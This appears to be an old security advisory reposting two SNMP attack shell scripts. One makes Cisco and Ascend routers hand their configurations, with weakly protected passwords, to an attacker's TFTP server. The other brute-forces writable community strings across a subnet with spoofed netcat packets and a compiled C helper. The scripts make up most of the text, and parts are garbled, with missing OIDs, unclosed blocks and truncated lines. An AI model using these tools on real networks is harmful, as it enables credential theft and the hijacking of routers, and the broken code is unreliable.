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SNMP - proof it needs to be retired






    Following was posted  by 'monti'.   The utility below  is based on
    widely  known  public  information   and  it's  functionality   is
    replicated  in  many  very  expensive  commercial  products.  This
    information is provided for educational purposes only.   May  this
    script help make  SNMP die the  sad lonely death  it deserves once
    and for all!

    On that  note... Monty  originally cobbled  this together  to keep
    the network admins he worked with from doing annoying things  like
    keeping tftp daemons running on  his Unix hosts for weeks  on end.
    Its pretty handy for that too.  It's just a lame little script  to
    automate  snmp/tftp  config  dumps  from  ciscos and ascends using
    snmp/tftp  with  a  temporary  tftp  server.   There  are  several
    home-grown versions of  this for ciscos  out there, a  handful for
    ascends, but  have not  run across  any that  do both,  so...  The
    OID's  to  acomplish  this  on  ciscos  and  ascends  are   below.
    Basically in  both cases  doing an  SNMP set  on certain variables
    will trigger the tftp config upload from the target router.

    'XXX' denotes IP address octets  for where you want the  config to


        SNMP set . type=s(string) "tftp-filename"


        SNMP set . type=a(addr) XXX.XXX.XXX.XXX
        SNMP set . type=s(string) "tftp-filename"

    As everybody knows, Cisco type  7 hashes are trivial, and  ascends
    keep passwords  unencrypted, so  this tool  or one  of the zillion
    others like  it (HP  Openview anybody?)  could be  used by  crazed
    frothy-mouthed  sociopaths  to  dish  out  truckloads of evil upon
    meek internet-shoppers!!!@!@#$!!!  The code:

    #  grabrtrconf:
    #  Pull router configs via tftp for cisco's and ascends. obviously trivial to
    #  modify this for other network hardware that supports this type of thing.
    #  - [type] can be one of cisco | ascend currently
    #  - defaults to cisco
    #  - requires cmu snmp utilities (snmpset specifically)
    #  - use TFTPLISTEN and disable tftp from /etc/inetd.conf if you want to
    #    launch a 'temporary' in.tftpd just to grab the file.
    #  - 'pidof' only exists on linux that I know of which kindof makes this a
    #    linux-only tool, unless/until I decide to stop relying on it.
    #  - Set 'INT' to whatever your routable IP is.
    #  - run as root (if you want to launch the tftp server)
    #  - I know this is lame... but it works (most of the time).
    #  by: Eric Monti 11/1997


    DIR=/tftpboot #might want to use something else

    test "$4" = "" && echo "Usage: `basename $0` target write-community tftphost filename [type]" && exit 1

    test "$5" = "" && TYPE="cisco"

    test "$IPADDR" = "." && IPADDR=`/sbin/ifconfig $INT | grep inet | sed "s/\:/\ /" | awk '{print $3}'`

    echo $3

    if [ -n $TFTPLISTEN ];then
	    echo "tftp dgram udp wait root /usr/sbin/in.tftpd in.tftpd $DIR" > /tmp/ind.conf
	    /usr/sbin/inetd -d /tmp/ind.conf &
	    rm /tmp/ind.conf
	    rm -f $DIR/$4
	    touch $DIR/$4
	    chmod 666 $DIR/$4

    #CISCO get config
    test "$TYPE" = "cisco" && \
    snmpset -r 3 -t 3 $1 $2 .$IPADDR s $4

    #ASCEND get config
    if [ "$TYPE" = "ascend" ];then
      snmpset -r 3 -t 3 $1 $2 . a $IPADDR
      snmpset -r 3 -t 3 $1 $2 . s $4
      snmpset -r 3 $1 $2 . i 3
      snmpset -r 3 $1 $2 . a ""
      snmpset -r 3 $1 $2 . s ""

    sleep $WAIT

    # i got lazy and used pidof... so what.
    # I made pretty dots appear to make up for it!
    if (test `pidof in.tftpd`);then

     echo Receiving file:
     while (test "`pidof in.tftpd`");do
	    echo -n .
	    sleep 1
     echo Transfer Complete


    if [ -n $TFTPLISTEN ];then
	    kill `cat /var/run/` # jeepers, i hope that wasnt the real1

    Michal  Zalewski  posted  following.   Here's brute-force spoofing
    scanner for  writable snmp  communities. Requires  NetCat and snmp
    tools (like snmpget) to be installed. Scanning is mostly  harmless
    - it tries  to change system.sysContact.0  to 'null' using  common
    default communities (according to  securityfocus).  Should be  run
    as root.  It is known to break some Cisco systems (but not  recent
    IOSes,  at  least  not  in  default  configuration),  most of 3com
    products (there was another writable community, which seems to  be
    present everywhere, regardless of 'private', which is disabled  by
    administrators  sometimes),  HP  switches,  printers,  Ascend *DSL
    modems  etc.   Also,  it  should  bypass  most of stupid source IP
    address restrictions for accessing the community.

    rm -f .walk.tmp* /tmp/spoof-* WYSZLO &>/dev/null
    echo "snmpd vulnerability scanner by <>"
    if [ "$2" = "" ]; then
      echo "Usage: $0 start_at c_subnet"
      echo "example: '$0 0 172.16.1' will scan"
    cat >$SPFILE.c <<_EOF_
    char buf[1000];
    char part1[]="0\202\0-\2\1\0\4";
    char part2[]="\243\37\2\1\1\2\1\0\2\1\0000\0240\202\0\20\6\10+\6\1\2\1\1\4\0\4\4null";
    main(int argc,char**argv) {
      char x=strlen(argv[1]);
    echo "Compiling helper application..."
    gcc -o $SPFILE $SPFILE.c
    test -x $SPFILE || exit
    echo "Scan range: $PRE.$x-255..."
    if [ "$1" = "0" ]; then
      echo "* Collecting routing information (6 seconds)..."
      /usr/sbin/traceroute -n -f 3 -w 60 $PRE.32 2>/dev/null >.walk.tmp &
      sleep 6
      killall traceroute &>/dev/null
      awk '{print $2}' .walk.tmp >.walk.tmp2
    echo "Starting scan. Outfile is: WYSZLO"
    while [ "$x" -lt "256" ]; do
      echo $PRE.$x >>.walk.tmp2
      let x=x+1
    COMMUNITIES="public private write all monitor agent manager OrigEquipMfr admin default password tivoli openview community snmp snmpd system"
    for i in `cat .walk.tmp2`; do
      echo -n "$i: "
      snmpget -R 2 $i public system.sysDescr.0 &>.walk.tmp
      ERR="`grep -c -iE 'refuse|error|timeout|fail|denied|found|acce' .walk.tmp`"
      if [ "$ERR" = "0" ]; then
        echo "OK"
        echo -n "  system: "
        awk -F'"' '{print $2}' .walk.tmp >.walk.tmp2
        SYS="`cat .walk.tmp2`"
        echo "$SYS"
        snmpget -R 2 $i public system.sysDescr.0 &>.walk.tmp
        awk -F'"' '{print $2}' .walk.tmp >.walk.tmp2
        SYSNAME="`awk '{print $1}' .walk.tmp2`"
         echo "$i ($SYS):" >>WYSZLO
         for j in $COMMUNITIES 'all private' 'Secret C0de' $SYSNAME; do
          echo -n "  $j> "
          $SPFILE "$j" | nc -u $i 161 &>/dev/null &
          $SPFILE "$j" | nc -s -u $i 161 &>/dev/null &
          $SPFILE "$j" | nc -s $i -u $i 161 &>/dev/null &
          $SPFILE "$j" | nc -s $PRE.1 -u $i 161 &>/dev/null &
          sleep 1
          killall nc &>/dev/null
          snmpget -R 2 $i public system.sysContact.0 &>.walk.tmp
          WORKED="`grep -c null .walk.tmp 2>/dev/null`"
          if [ "$WORKED" = "0" ]; then
            echo "  - $j failed." >>WYSZLO
            echo "failed."
            echo "OK"
            echo "  - $j WORKED." >>WYSZLO
        echo "milczy..."
    echo "Done."
    rm -f .walk.tmp* $SPFILE*

    Parameters  accepted  by   snmpget  seems  to   be  different   on
    different  implementations.   For  newer  Linux ucb-snmp versions,
    you might want to change 'snmpget -R 2' to 'snmpget -r 2 -t 2'  to
    make the script work properly. For most of implementations, '-R 2'
    is correct, anyway, but if your script won't detect anything where
    you're  expecting  open  snmp  subsystem  and it's working way too
    fast - please consider this change.


    As many know, it's worse too since you could just replace a config
    if you're in the mood.  The OID's to accomplish that can be  found
    in the respective cisco and  ascend MIBs nearby the ones  outlined
    above.  You won't find that in code above.

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